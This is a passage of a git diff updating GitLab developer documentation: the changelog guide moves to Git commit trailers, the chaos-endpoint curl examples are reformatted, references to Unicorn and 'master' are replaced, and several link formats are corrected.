- test suite changes) **should not** have a changelog entry. Example: "Reduce
+- Any developer-facing change (such as refactoring, technical debt remediation,
+ or test suite changes) **should not** have a changelog entry. Example: "Reduce
database records created during Cycle Analytics model spec."
+- _Any_ contribution from a community member, no matter how small, **may** have
+ a changelog entry regardless of these guidelines if the contributor wants one.
## Writing good changelog entries
@@ -105,215 +142,49 @@ about _where_ and _why_ the change was made?
## How to generate a changelog entry
-A `bin/changelog` script is available to generate the changelog entry file
-automatically.
+Git trailers are added when committing your changes. This can be done using your
+text editor of choice. Adding the trailer to an existing commit requires either
+amending to the commit (if it's the most recent one), or an interactive rebase
+using `git rebase -i`.
-Its simplest usage is to provide the value for `title`:
+To update the last commit, run the following:
-```plaintext
-bin/changelog 'Hey DZ, I added a feature to GitLab!'
+```shell
+git commit --amend
```
-If you want to generate a changelog entry for GitLab EE, you must pass
-the `--ee` option:
+You can then add the `Changelog` trailer to the commit message. If you had
+already pushed prior commits to your remote branch, you have to force push
+the new commit:
-```plaintext
-bin/changelog --ee 'Hey DZ, I added a feature to GitLab!'
+```shell
+git push -f origin your-branch-name
```
-All entries in the `CHANGELOG.md` file apply to all editions of GitLab.
-Changelog updates are based on a common [GitLab codebase](https://gitlab.com/gitlab-org/gitlab/),
-and are mirrored without proprietary code to [GitLab FOSS](https://gitlab.com/gitlab-org/gitlab-foss/) (also known as GitLab Community Edition).
+To edit older (or multiple commits), use `git rebase -i HEAD~N` where `N` is the
+last N number of commits to rebase. Let's say you have 3 commits on your branch:
+A, B, and C. If you want to update commit B, you need to run:
-At this point the script would ask you to select the category of the change (mapped to the `type` field in the entry):
-
-```plaintext
->> Please specify the category of your change:
-1. New feature
-2. Bug fix
-3. Feature change
-4. New deprecation
-5. Feature removal
-6. Security fix
-7. Performance improvement
-8. Other
+```shell
+git rebase -i HEAD~2
```
-The entry filename is based on the name of the current Git branch. If you run
-the command above on a branch called `feature/hey-dz`, it generates a
-`changelogs/unreleased/feature-hey-dz.yml` file.
-
-The command outputs the path of the generated file and its contents:
+This starts an interactive rebase session for the last two commits. When
+started, Git presents you with a text editor with contents along the lines of
+the following:
```plaintext
-create changelogs/unreleased/my-feature.yml
----
-title: Hey DZ, I added a feature to GitLab!
-merge_request:
-author:
-type:
+pick B Subject of commit B
+pick C Subject of commit C
```
-### Arguments
-
-| Argument | Shorthand | Purpose |
-| ----------------- | --------- | --------------------------------------------------------------------------------------------------------------------------------------- |
-| [`--amend`](#--amend) | | Amend the previous commit |
-| [`--force`](#--force-or--f) | `-f` | Overwrite an existing entry |
-| [`--merge-request`](#--merge-request-or--m) | `-m` | Set merge request ID |
-| [`--dry-run`](#--dry-run-or--n) | `-n` | Don't actually write anything, just print |
-| [`--git-username`](#--git-username-or--u) | `-u` | Use Git user.name configuration as the author |
-| [`--type`](#--type-or--t) | `-t` | The category of the change, valid options are: `added`, `fixed`, `changed`, `deprecated`, `removed`, `security`, `performance`, `other` |
-| [`--ee`](#how-to-generate-a-changelog-entry) | | Create an EE changelog
-| `--help` | `-h` | Print help message |
-
-#### `--amend`
-
-You can pass the **`--amend`** argument to automatically stage the generated
-file and amend it to the previous commit.
-
-If you use **`--amend`** and don't provide a title, it uses
-the "subject" of the previous commit, which is the first line of the commit
-message:
-
-```plaintext
-$ git show --oneline
-ab88683 Added an awesome new feature to GitLab
-
-$ bin/changelog --amend
-create changelogs/unreleased/feature-hey-dz.yml
----
-title: Added an awesome new feature to GitLab
-merge_request:
-author:
-type:
-```
-
-#### `--force` or `-f`
-
-Use **`--force`** or **`-f`** to overwrite an existing changelog entry if it
-already exists.
-
-```plaintext
-$ bin/changelog 'Hey DZ, I added a feature to GitLab!'
-error changelogs/unreleased/feature-hey-dz.yml already exists! Use `--force` to overwrite.
-
-$ bin/changelog 'Hey DZ, I added a feature to GitLab!' --force
-create changelogs/unreleased/feature-hey-dz.yml
----
-title: Hey DZ, I added a feature to GitLab!
-merge_request: 1983
-author:
-type:
-```
-
-#### `--merge-request` or `-m`
-
-Use the **`--merge-request`** or **`-m`** argument to provide the
-`merge_request` value:
-
-```plaintext
-$ bin/changelog 'Hey DZ, I added a feature to GitLab!' -m 1983
-create changelogs/unreleased/feature-hey-dz.yml
----
-title: Hey DZ, I added a feature to GitLab!
-merge_request: 1983
-author:
-type:
-```
-
-#### `--dry-run` or `-n`
-
-Use the **`--dry-run`** or **`-n`** argument to prevent actually writing or
-committing anything:
-
-```plaintext
-$ bin/changelog --amend --dry-run
-create changelogs/unreleased/feature-hey-dz.yml
----
-title: Added an awesome new feature to GitLab
-merge_request:
-author:
-type:
-
-$ ls changelogs/unreleased/
-```
-
-#### `--git-username` or `-u`
-
-Use the **`--git-username`** or **`-u`** argument to automatically fill in the
-`author` value with your configured Git `user.name` value:
-
-```plaintext
-$ git config user.name
-Jane Doe
-
-$ bin/changelog -u 'Hey DZ, I added a feature to GitLab!'
-create changelogs/unreleased/feature-hey-dz.yml
----
-title: Hey DZ, I added a feature to GitLab!
-merge_request:
-author: Jane Doe
-type:
-```
-
-#### `--type` or `-t`
-
-Use the **`--type`** or **`-t`** argument to provide the `type` value:
-
-```plaintext
-$ bin/changelog 'Hey DZ, I added a feature to GitLab!' -t added
-create changelogs/unreleased/feature-hey-dz.yml
----
-title: Hey DZ, I added a feature to GitLab!
-merge_request:
-author:
-type: added
-```
-
-#### `--ee`
-
-Use the **`--ee`** argument to create an EE changelog:
-
-```plaintext
-$ bin/changelog 'Hey DZ, I added a feature to GitLab!' -ee
-create ee/changelogs/unreleased/feature-hey-dz.yml
----
-title: Hey DZ, I added a feature to GitLab!
-merge_request:
-author:
-type: added
-```
+To update commit B, change the word `pick` to `reword`, then save and quit the
+editor. Once closed, Git presents you with a new text editor instance to edit
+the commit message of commit B. Add the trailer, then save and quit the editor.
+If all went well, commit B is now updated.
-### History and Reasoning
-
-Our `CHANGELOG` file was previously updated manually by each contributor that
-felt their change warranted an entry. When two merge requests added their own
-entries at the same spot in the list, it created a merge conflict in one as soon
-as the other was merged. When we had dozens of merge requests fighting for the
-same changelog entry location, this quickly became a major source of merge
-conflicts and delays in development.
-
-This led us to a [boring solution](https://about.gitlab.com/handbook/values/#boring-solutions) of "add your entry in a random location in
-the list." This actually worked pretty well as we got further along in each
-monthly release cycle, but at the start of a new cycle, when a new version
-section was added and there were fewer places to "randomly" add an entry, the
-conflicts became a problem again until we had a sufficient number of entries.
-
-On top of all this, it created an entirely different headache for
-[release managers](https://gitlab.com/gitlab-org/release/docs/blob/master/quickstart/release-manager.md)
-when they cherry-picked a commit into a stable branch for a patch release. If
-the commit included an entry in the `CHANGELOG`, it would include the entire
-changelog for the latest version in `master`, so the release manager would have
-to manually remove the later entries. They often would have had to do this
-multiple times per patch release. This was compounded when we had to release
-multiple patches at once due to a security issue.
-
-We needed to automate all of this manual work. So we
-[started brainstorming](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/17826).
-After much discussion we settled on the current solution of one file per entry,
-and then compiling the entries into the overall `CHANGELOG.md` file during the
-[release process](https://gitlab.com/gitlab-org/release-tools).
+For more information about interactive rebases, take a look at [the Git
+documentation](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History).
---
diff --git a/doc/development/chaos_endpoints.md b/doc/development/chaos_endpoints.md
index 56e91acbc4a..b0de00648ba 100644
--- a/doc/development/chaos_endpoints.md
+++ b/doc/development/chaos_endpoints.md
@@ -47,7 +47,7 @@ Replace `secret` with your own secret token.
After you have enabled the chaos endpoints and restarted the application, you can start testing using the endpoints.
By default, when invoking a chaos endpoint, the web worker process which receives the request handles it. This means, for example, that if the Kill
-operation is invoked, the Puma or Unicorn worker process handling the request is killed. To test these operations in Sidekiq, the `async` parameter on
+operation is invoked, the Puma worker process handling the request is killed. To test these operations in Sidekiq, the `async` parameter on
each endpoint can be set to `true`. This runs the chaos process in a Sidekiq worker.
## Memory leaks
@@ -70,7 +70,8 @@ GET /-/chaos/leakmem?memory_mb=1024&duration_s=50&async=true
| `async` | boolean | no | Set to true to leak memory in a Sidekiq background worker process |
```shell
-curl "http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10" --header 'X-Chaos-Secret: secret'
+curl "http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10" \
+ --header 'X-Chaos-Secret: secret'
curl "http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10&token=secret"
```
@@ -79,7 +80,6 @@ curl "http://localhost:3000/-/chaos/leakmem?memory_mb=1024&duration_s=10&token=s
This endpoint attempts to fully utilise a single core, at 100%, for the given period.
Depending on your rack server setup, your request may timeout after a predetermined period (normally 60 seconds).
-If you're using Unicorn, this is done by killing the worker process.
```plaintext
GET /-/chaos/cpu_spin
@@ -93,7 +93,8 @@ GET /-/chaos/cpu_spin?duration_s=50&async=true
| `async` | boolean | no | Set to true to consume CPU in a Sidekiq background worker process |
```shell
-curl "http://localhost:3000/-/chaos/cpu_spin?duration_s=60" --header 'X-Chaos-Secret: secret'
+curl "http://localhost:3000/-/chaos/cpu_spin?duration_s=60" \
+ --header 'X-Chaos-Secret: secret'
curl "http://localhost:3000/-/chaos/cpu_spin?duration_s=60&token=secret"
```
@@ -103,7 +104,6 @@ This endpoint attempts to fully utilise a single core, and interleave it with DB
This endpoint can be used to model yielding execution to another threads when running concurrently.
Depending on your rack server setup, your request may timeout after a predetermined period (normally 60 seconds).
-If you're using Unicorn, this is done by killing the worker process.
```plaintext
GET /-/chaos/db_spin
@@ -118,7 +118,8 @@ GET /-/chaos/db_spin?duration_s=50&async=true
| `async` | boolean | no | Set to true to perform the operation in a Sidekiq background worker process |
```shell
-curl "http://localhost:3000/-/chaos/db_spin?interval_s=1&duration_s=60" --header 'X-Chaos-Secret: secret'
+curl "http://localhost:3000/-/chaos/db_spin?interval_s=1&duration_s=60" \
+ --header 'X-Chaos-Secret: secret'
curl "http://localhost:3000/-/chaos/db_spin?interval_s=1&duration_s=60&token=secret"
```
@@ -140,7 +141,8 @@ GET /-/chaos/sleep?duration_s=50&async=true
| `async` | boolean | no | Set to true to sleep in a Sidekiq background worker process |
```shell
-curl "http://localhost:3000/-/chaos/sleep?duration_s=60" --header 'X-Chaos-Secret: secret'
+curl "http://localhost:3000/-/chaos/sleep?duration_s=60" \
+ --header 'X-Chaos-Secret: secret'
curl "http://localhost:3000/-/chaos/sleep?duration_s=60&token=secret"
```
@@ -200,7 +202,8 @@ POST /-/chaos/gc
Example request:
```shell
-curl --request POST "http://localhost:3000/-/chaos/gc" --header 'X-Chaos-Secret: secret'
+curl --request POST "http://localhost:3000/-/chaos/gc" \
+ --header 'X-Chaos-Secret: secret'
curl --request POST "http://localhost:3000/-/chaos/gc?token=secret"
```
diff --git a/doc/development/cicd/cicd_reference_documentation_guide.md b/doc/development/cicd/cicd_reference_documentation_guide.md
index a05916178a9..14a313daba8 100644
--- a/doc/development/cicd/cicd_reference_documentation_guide.md
+++ b/doc/development/cicd/cicd_reference_documentation_guide.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md
index 965ab3610dd..025d63f4a62 100644
--- a/doc/development/cicd/index.md
+++ b/doc/development/cicd/index.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Execution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, concepts, howto
---
@@ -67,7 +67,7 @@ The communication between runners and the Rails server occurs through a set of A
the `Runner API Gateway`.
We can register, delete, and verify runners, which also causes read/write queries to the database. After a runner is connected,
-it keeps asking for the next job to execute. This invokes the [`RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/services/ci/register_job_service.rb)
+it keeps asking for the next job to execute. This invokes the [`RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/register_job_service.rb)
which picks the next job and assigns it to the runner. At this point the job transitions to a
`running` state, which again triggers `ProcessPipelineService` due to the status change.
For more details read [Job scheduling](#job-scheduling)).
@@ -103,7 +103,7 @@ A job with the `created` state isn't seen by the runner yet. To make it possible
When the runner is connected, it requests the next `pending` job to run by polling the server continuously.
NOTE:
-API endpoints used by the runner to interact with GitLab are defined in [`lib/api/ci/runner.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/ci/runner.rb)
+API endpoints used by the runner to interact with GitLab are defined in [`lib/api/ci/runner.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/ci/runner.rb)
After the server receives the request it selects a `pending` job based on the [`Ci::RegisterJobService` algorithm](#ciregisterjobservice), then assigns and sends the job to the runner.
@@ -121,7 +121,7 @@ Once the runner is [registered](https://docs.gitlab.com/runner/register/) using
The runner initiates the communication by requesting jobs to execute with `POST /api/v4/jobs/request`. Although this polling generally happens every few seconds we leverage caching via HTTP headers to reduce the server-side work load if the job queue doesn't change.
-This API endpoint runs [`Ci::RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/services/ci/register_job_service.rb), which:
+This API endpoint runs [`Ci::RegisterJobService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/ci/register_job_service.rb), which:
1. Picks the next job to run from the pool of `pending` jobs
1. Assigns it to the runner
@@ -185,17 +185,3 @@ Watch a walkthrough of this feature in details in the video below.
<figure class="video-container">
<iframe src="https://www.youtube.com/embed/NmdWRGT8kZg" frameborder="0" allowfullscreen="true"> </iframe>
</figure>
-
-## External pipeline validation service
-
-The [external CI/CD pipeline validation service](../../administration/external_pipeline_validation.md)
-is available for use on self-managed GitLab instances, but is not in use on GitLab.com.
-It is configured with [environment variables](../../administration/environment_variables.md)
-on the instance.
-
-To enable the feature on GitLab.com, enable the `ci_external_validation_service`
-[feature flag](../feature_flags/index.md). The valid "Not accepted" response code
-for GitLab.com is `406` only.
-
-For more details, see the linked issues and MRs in the
-[feature flag rollout issue](https://gitlab.com/gitlab-org/gitlab/-/issues/325982).
diff --git a/doc/development/cicd/templates.md b/doc/development/cicd/templates.md
index fc342794919..8331985697e 100644
--- a/doc/development/cicd/templates.md
+++ b/doc/development/cicd/templates.md
@@ -307,6 +307,26 @@ include:
- remote: https://gitlab.com/gitlab-org/gitlab/-/raw/v13.0.1-ee/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml
```
+### Use a feature flag to roll out a `latest` template
+
+With a major version release like 13.0 or 14.0, [stable templates](#stable-version) must be
+updated with their corresponding [latest template versions](#latest-version).
+It may be hard to gauge the impact of this change, so use the `redirect_to_latest_template_<name>`
+feature flag to test the impact on a subset of users. Using a feature flag can help
+reduce the risk of reverts or rollbacks on production.
+
+For example, to redirect the stable `Jobs/Deploy` template to its latest template in 25% of
+projects on `gitlab.com`:
+
+```shell
+/chatops run feature set redirect_to_latest_template_jobs_deploy 25 --actors
+```
+
+After you're confident the latest template can be moved to stable:
+
+1. Update the stable template with the content of the latest version.
+1. Remove the corresponding feature flag.
+
### Further reading
There is an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/17716) about
diff --git a/doc/development/code_review.md b/doc/development/code_review.md
index b91e27b7051..df09b27c6b4 100644
--- a/doc/development/code_review.md
+++ b/doc/development/code_review.md
@@ -418,13 +418,13 @@ WARNING:
- Start a new merge request pipeline with the `Run pipeline` button in the merge
request's "Pipelines" tab, and enable "Merge When Pipeline Succeeds" (MWPS).
Note that:
- - If **[master is broken](https://about.gitlab.com/handbook/engineering/workflow/#broken-master),
+ - If **[main is broken](https://about.gitlab.com/handbook/engineering/workflow/#broken-master),
do not merge the merge request** except for
[very specific cases](https://about.gitlab.com/handbook/engineering/workflow/#criteria-for-merging-during-broken-master).
For other cases, follow these [handbook instructions](https://about.gitlab.com/handbook/engineering/workflow/#merging-during-broken-master).
- If the **latest [Pipeline for Merged Results](../ci/merge_request_pipelines/pipelines_for_merged_results/#pipelines-for-merged-results)** finished less than 2 hours ago, you
might merge without starting a new pipeline as the merge request is close
- enough to `master`.
+ enough to `main`.
- When you set the MR to "Merge When Pipeline Succeeds", you should take over
subsequent revisions for anything that would be spotted after that.
- For merge requests that have had [Squash and
@@ -434,11 +434,11 @@ WARNING:
Thanks to **Pipeline for Merged Results**, authors no longer have to rebase their
branch as frequently anymore (only when there are conflicts) because the Merge
-Results Pipeline already incorporate the latest changes from `master`.
+Results Pipeline already incorporate the latest changes from `main`.
This results in faster review/merge cycles because maintainers don't have to ask
for a final rebase: instead, they only have to start a MR pipeline and set MWPS.
This step brings us very close to the actual Merge Trains feature by testing the
-Merge Results against the latest `master` at the time of the pipeline creation.
+Merge Results against the latest `main` at the time of the pipeline creation.
### Community contributions
diff --git a/doc/development/contributing/index.md b/doc/development/contributing/index.md
index 26a32464041..2fe08f78aed 100644
--- a/doc/development/contributing/index.md
+++ b/doc/development/contributing/index.md
@@ -27,7 +27,7 @@ To get an overview of GitLab community membership, including those that would re
your contributions, visit [the community roles page](community_roles.md).
If you want to know how the GitLab [core team](https://about.gitlab.com/community/core-team/)
-operates, see [the GitLab contributing process](https://gitlab.com/gitlab-org/gitlab/blob/master/PROCESS.md).
+operates, see [the GitLab contributing process](https://gitlab.com/gitlab-org/gitlab/-/blob/master/PROCESS.md).
GitLab Inc engineers should refer to the [engineering workflow document](https://about.gitlab.com/handbook/engineering/workflow/).
diff --git a/doc/development/contributing/issue_workflow.md b/doc/development/contributing/issue_workflow.md
index dfabeca34ce..840434ebbc3 100644
--- a/doc/development/contributing/issue_workflow.md
+++ b/doc/development/contributing/issue_workflow.md
@@ -14,7 +14,7 @@ submitting your own, there's a good chance somebody else had the same issue or
feature proposal. Show your support with an award emoji and/or join the
discussion.
-Please submit bugs using the ['Bug' issue template](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/issue_templates/Bug.md) provided on the issue tracker.
+Please submit bugs using the ['Bug' issue template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Bug.md) provided on the issue tracker.
The text in the parenthesis is there to help you with what to include. Omit it
when submitting the actual issue. You can copy-paste it and then edit as you
see fit.
@@ -311,12 +311,12 @@ We automatically add the ~"Accepting merge requests" label to issues
that match the [triage policy](https://about.gitlab.com/handbook/engineering/quality/triage-operations/#accepting-merge-requests).
We recommend people that have never contributed to any open source project to
-look for issues labeled `~"Accepting merge requests"` with a [weight of 1](https://gitlab.com/groups/gitlab-org/-/issues?state=opened&label_name[]=Accepting+merge+requests&assignee_id=None&sort=weight&weight=1) or the `~"Good for new contributors"` [label](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=good%20for%20new%20contributors&assignee_id=None) attached to it.
+look for issues labeled `~"Accepting merge requests"` with a [weight of 1](https://gitlab.com/groups/gitlab-org/-/issues?state=opened&label_name[]=Accepting+merge+requests&assignee_id=None&sort=weight&weight=1) or the `~"Good for new contributors"` [label](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&state=opened&label_name[]=good%20for%20new%20contributors&assignee_id=None) attached to it.
More experienced contributors are very welcome to tackle
[any of them](https://gitlab.com/groups/gitlab-org/-/issues?state=opened&label_name[]=Accepting+merge+requests&assignee_id=None).
For more complex features that have a weight of 2 or more and clear scope, we recommend looking at issues
-with the [label `~"Community Challenge"`](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=Accepting%20merge%20requests&label_name[]=Community%20challenge).
+with the [label `~"Community Challenge"`](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&state=opened&label_name[]=Accepting%20merge%20requests&label_name[]=Community%20challenge).
If your MR for the `~"Community Challenge"` issue gets merged, you will also have a chance to win a custom
GitLab merchandise.
@@ -325,7 +325,7 @@ the [appropriate product manager](https://about.gitlab.com/handbook/product/#who
as soon as possible. The product manager will then pull in appropriate GitLab team
members to further discuss scope, design, and technical considerations. This will
ensure that your contribution is aligned with the GitLab product and minimize
-any rework and delay in getting it merged into master.
+any rework and delay in getting it merged into main.
GitLab team members who apply the ~"Accepting merge requests" label to an issue
should update the issue description with a responsible product manager, inviting
@@ -358,7 +358,7 @@ code snippet right after your description in a new line: `~feature`.
Please keep feature proposals as small and simple as possible, complex ones
might be edited to make them small and simple.
-Please submit Feature Proposals using the ['Feature Proposal' issue template](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/issue_templates/Feature%20proposal%20-%20detailed.md) provided on the issue tracker.
+Please submit Feature Proposals using the ['Feature Proposal' issue template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20proposal%20-%20detailed.md) provided on the issue tracker.
For changes in the interface, it is helpful to include a mockup. Issues that add to, or change, the interface should
be given the ~"UX" label. This will allow the UX team to provide input and guidance. You may
diff --git a/doc/development/contributing/merge_request_workflow.md b/doc/development/contributing/merge_request_workflow.md
index 922bc52773b..783cf7af6fc 100644
--- a/doc/development/contributing/merge_request_workflow.md
+++ b/doc/development/contributing/merge_request_workflow.md
@@ -44,9 +44,9 @@ request is as follows:
1. [Fork](../../user/project/repository/forking_workflow.md) the project into
your personal namespace (or group) on GitLab.com.
-1. Create a feature branch in your fork (don't work off `master`).
+1. Create a feature branch in your fork (don't work off your [default branch](../../user/project/repository/branches/default.md)).
1. Write [tests](../rake_tasks.md#run-tests) and code.
-1. [Generate a changelog entry with `bin/changelog`](../changelog.md)
+1. [Ensure a changelog is created](../changelog.md).
1. If you are writing documentation, make sure to follow the
[documentation guidelines](../documentation/index.md).
1. Follow the [commit messages guidelines](#commit-messages-guidelines).
@@ -54,7 +54,7 @@ request is as follows:
commits by [squashing them](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History#_squashing),
but do not change the commit history if you're working on shared branches though.
1. Push the commit(s) to your working branch in your fork.
-1. Submit a merge request (MR) to the `master` branch in the main GitLab project.
+1. Submit a merge request (MR) to the `main` branch in the main GitLab project.
1. Your merge request needs at least 1 approval, but depending on your changes
you might need additional approvals. Refer to the [Approval guidelines](../code_review.md#approval-guidelines).
1. You don't have to select any specific approvers, but you can if you really want
@@ -140,7 +140,7 @@ Commit messages should follow the guidelines below, for reasons explained by Chr
**Important notes:**
-- If the guidelines are not met, the MR may not pass the [Danger checks](https://gitlab.com/gitlab-org/gitlab/blob/master/danger/commit_messages/Dangerfile).
+- If the guidelines are not met, the MR may not pass the [Danger checks](https://gitlab.com/gitlab-org/gitlab/-/blob/master/danger/commit_messages/Dangerfile).
- Consider enabling [Squash and merge](../../user/project/merge_requests/squash_and_merge.md#squash-and-merge)
if your merge request includes "Applied suggestion to X files" commits, so that Danger can ignore those.
- The prefixes in the form of `[prefix]` and `prefix:` are allowed (they can be all lowercase, as long
@@ -196,12 +196,12 @@ the contribution acceptance criteria below:
exposing a bug in existing code). Every new class should have corresponding
unit tests, even if the class is exercised at a higher level, such as a feature test.
- If a failing CI build seems to be unrelated to your contribution, you can try
- restarting the failing CI job, rebasing from `master` to bring in updates that
+ restarting the failing CI job, rebasing from `main` to bring in updates that
may resolve the failure, or if it has not been fixed yet, ask a developer to
help you fix the test.
1. The MR initially contains a few logically organized commits.
1. The changes can merge without problems. If not, you should rebase if you're the
- only one working on your feature branch, otherwise merge `master`.
+ only one working on your feature branch, otherwise merge `main`.
1. Only one specific issue is fixed or one specific feature is implemented. Do not
combine things; send separate merge requests for each issue or feature.
1. Migrations should do only one thing (e.g., create a table, move data to a new
@@ -263,7 +263,7 @@ request:
1. [The upgrade guide](../../update/upgrading_from_source.md).
1. The [GitLab Installation Guide](../../install/installation.md#1-packages-and-dependencies).
1. The [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit).
-1. The [CI environment preparation](https://gitlab.com/gitlab-org/gitlab/blob/master/scripts/prepare_build.sh).
+1. The [CI environment preparation](https://gitlab.com/gitlab-org/gitlab/-/blob/master/scripts/prepare_build.sh).
1. The [Omnibus package creator](https://gitlab.com/gitlab-org/omnibus-gitlab).
1. The [Cloud Native GitLab Dockerfiles](https://gitlab.com/gitlab-org/build/CNG)
diff --git a/doc/development/dangerbot.md b/doc/development/dangerbot.md
index 7fb1e11b303..68268027b73 100644
--- a/doc/development/dangerbot.md
+++ b/doc/development/dangerbot.md
@@ -45,7 +45,7 @@ bin/rake danger_local
## Operation
-On startup, Danger reads a [`Dangerfile`](https://gitlab.com/gitlab-org/gitlab/blob/master/Dangerfile)
+On startup, Danger reads a [`Dangerfile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/Dangerfile)
from the project root. Danger code in GitLab is decomposed into a set of helpers
and plugins, all within the [`danger/`](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/danger/)
subdirectory, so ours just tells Danger to load it all. Danger then runs
diff --git a/doc/development/database/pagination_guidelines.md b/doc/development/database/pagination_guidelines.md
index aa3915cd4b6..3308ebfcaae 100644
--- a/doc/development/database/pagination_guidelines.md
+++ b/doc/development/database/pagination_guidelines.md
@@ -41,7 +41,7 @@ With pagination, the data is split into equal pieces (pages). On the first visit
### Pick the right approach
-Let the database handle the pagination, filtering, and data retrieval. Implementing in-memory pagination on the backend (`paginate_array` from kaminari) or on the frontend (JavaScript) might work for a few hundreds of records. If application limits are not defined, things can get out of control quickly.
+Let the database handle the pagination, filtering, and data retrieval. Implementing in-memory pagination on the backend (`paginate_array` from Kaminari) or on the frontend (JavaScript) might work for a few hundreds of records. If application limits are not defined, things can get out of control quickly.
### Reduce complexity
@@ -78,7 +78,7 @@ Infinite scroll can use keyset pagination without affecting the user experience
### Offset pagination
-The most common way to paginate lists is using offset-based pagination (UI and REST API). It's backed by the popular [kaminari](https://github.com/kaminari/kaminari) Ruby gem, which provides convenient helper methods to implement pagination on ActiveRecord queries.
+The most common way to paginate lists is using offset-based pagination (UI and REST API). It's backed by the popular [Kaminari](https://github.com/kaminari/kaminari) Ruby gem, which provides convenient helper methods to implement pagination on ActiveRecord queries.
Offset-based pagination is leveraging the `LIMIT` and `OFFSET` SQL clauses to take out a specific slice from the table.
@@ -97,9 +97,9 @@ Notice that the query also orders the rows by the primary key (`id`). When pagin
Example pagination bar:
-![Page selector rendered by kaminari](../img/offset_pagination_ui_v13_11.jpg)
+![Page selector rendered by Kaminari](../img/offset_pagination_ui_v13_11.jpg)
-The kaminari gem renders a nice pagination bar on the UI with page numbers and optionally quick shortcuts the next, previous, first, and last page buttons. To render these buttons, kaminari needs to know the number of rows, and for that, a count query is executed.
+The Kaminari gem renders a nice pagination bar on the UI with page numbers and optionally quick shortcuts the next, previous, first, and last page buttons. To render these buttons, Kaminari needs to know the number of rows, and for that, a count query is executed.
```sql
SELECT COUNT(*) FROM issues WHERE project_id = 1
@@ -158,7 +158,7 @@ Here we're leveraging the ordered property of the b-tree database index. Values
Kaminari by default executes a count query to determine the number of pages for rendering the page links. Count queries can be quite expensive for a large table, in an unfortunate scenario the queries will simply time out.
-To work around this, we can run kaminari without invoking the count SQL query.
+To work around this, we can run Kaminari without invoking the count SQL query.
```ruby
Issue.where(project_id: 1).page(1).per(20).without_count
@@ -311,5 +311,5 @@ Using keyset pagination outside of GraphQL is not straightforward. We have the l
Keyset pagination provides stable performance regardless of the number of pages we moved forward. To achieve this performance, the paginated query needs an index that covers all the columns in the `ORDER BY` clause, similarly to the offset pagination.
### General performance guidelines
-
+
See the [pagination general performance guidelines page](pagination_performance_guidelines.md).
diff --git a/doc/development/database/strings_and_the_text_data_type.md b/doc/development/database/strings_and_the_text_data_type.md
index 6fbb95c4f60..688d811b897 100644
--- a/doc/development/database/strings_and_the_text_data_type.md
+++ b/doc/development/database/strings_and_the_text_data_type.md
@@ -34,11 +34,9 @@ but only for updating the declaration of the columns. We can then validate it at
`VALIDATE CONSTRAINT`, which requires only a `SHARE UPDATE EXCLUSIVE LOCK` (only conflicts with other
validations and index creation while it allows reads and writes).
-### Exceptions
-
-Text columns used by `attr_encrypted` are not required to have a limit, because the length of the
-text after encryption may be longer than the text itself. Instead, you can use an Active Record
-length validation on the attribute.
+NOTE:
+Don't use text columns for `attr_encrypted` attributes. Use a
+[`:binary` column](../migration_style_guide.md#encrypted-attributes) instead.
## Create a new table with text columns
diff --git a/doc/development/db_dump.md b/doc/development/db_dump.md
index 505305c860a..0c63bf06e07 100644
--- a/doc/development/db_dump.md
+++ b/doc/development/db_dump.md
@@ -21,7 +21,7 @@ large database imports.
echo "postgresql['checkpoint_segments'] = 64" | sudo tee -a /etc/gitlab/gitlab.rb
sudo touch /etc/gitlab/skip-auto-reconfigure
sudo gitlab-ctl reconfigure
-sudo gitlab-ctl stop unicorn
+sudo gitlab-ctl stop puma
sudo gitlab-ctl stop sidekiq
```
diff --git a/doc/development/deprecation_guidelines/index.md b/doc/development/deprecation_guidelines/index.md
index 2d092b24d65..07a29b17ddc 100644
--- a/doc/development/deprecation_guidelines/index.md
+++ b/doc/development/deprecation_guidelines/index.md
@@ -24,8 +24,13 @@ deprecated.
A feature can be deprecated at any time, provided there is a viable alternative.
+Deprecations should be announced via [release posts](https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations).
+
## When can a feature be removed/changed?
+Generally, feature or configuration can be removed/changed only on major release.
+It also should be [deprecated in advance](https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations).
+
For API removals, see the [GraphQL](../../api/graphql/index.md#deprecation-and-removal-process) and [GitLab API](../../api/README.md#compatibility-guidelines) guidelines.
For configuration removals, see the [Omnibus deprecation policy](https://docs.gitlab.com/omnibus/package-information/deprecation_policy.html).
diff --git a/doc/development/diffs.md b/doc/development/diffs.md
index 52ba89a4d6e..aaa3340af33 100644
